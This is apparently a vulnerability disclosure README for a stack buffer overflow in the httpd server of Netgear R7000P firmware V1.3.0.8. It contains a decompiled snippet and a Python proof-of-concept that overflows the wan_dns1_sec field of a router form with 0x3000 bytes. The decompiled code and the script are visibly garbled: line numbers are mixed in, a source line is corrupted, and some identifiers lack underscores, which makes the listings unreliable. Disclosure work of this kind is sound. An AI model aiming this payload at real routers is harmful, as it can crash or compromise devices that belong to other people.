

adme.md

Netgear R7000P has a Stack Buffer Overflow Vulnerability

Product

- 1. product information: https://www.netgear.com
- $2. \ firmware\ download: http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.0.8_1.0.93.zip$

Affected version

V1.3.0.8

Vulnerability

The stack overfow vulnerability is in /usr/sbin/httpd. The vulnerability occurrs in the sub_24500 function, which can be accessed via the URL http://routerlogin.net/BAS_pppoe_flet.htm .

```
if ( dword_1E4814 )
25
       acosNvramConfig_set("pppoe_wan_dns_sel", s1);
26
27
    if (!strcmp(s1, "1"))
28
29
       sub 1054C/a1 "wan dos1 oci"
      sub_1A54C(a1, "wan_dns1_sec", dest, 2048);
30
31
       V2 = strcmp(dest, ...);
      if (!v2)
32
33
       {
34
         v4 = -1586;
35
         v3 = &v21;
36
37
      v18 = 4;
38
      if (!v2)
39
         LOBYTE(v3[v4]) = 0;
40
      v19 = 5;
41
      v20 = strlen(s);
42
      v17[0] = 15;
      if ( sub_D1B9C(v18, v19, v20, v17) )
43
44
         return -1;
      if ( dest[0] )
45
46
47
         v18 = 4;
        v19 = dest;
48
        v20 = strlen(dest);
49
50
        v17[0] = 15;
51
         if ( sub_D1B9C(v18, v19, v20, v17) )
52
           return -1;
53
      sprintf((char *)v13, "%s %s", s, dest);
                                                   vuln
54
55
       acosNvramConfig_set("wan_dns1", v13);
56
      if ( dword_1E4814 )
57
         acosNvramConfig_set(&unk_107ED5, v13);
58
       v5 = v13;
59
```

Parameter wan_dns1_sec , is controllable and will be copied to v13 by sprintf . It is worth noting that the size is not checked, resulting in a stack overflow vulnerability.

PoC

```
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
11 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF INET, socket.SOCK STREAM)
r.connect((ip, port))
rn = b' r n'
p1 = b'a' * 0x3000
p2 = b'wan dns1 pri=1&wan dns1 sec=' + p1 # payload - wan dns1 sec
p3 = b"POST /BAS_pppoe_flet.html" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
```



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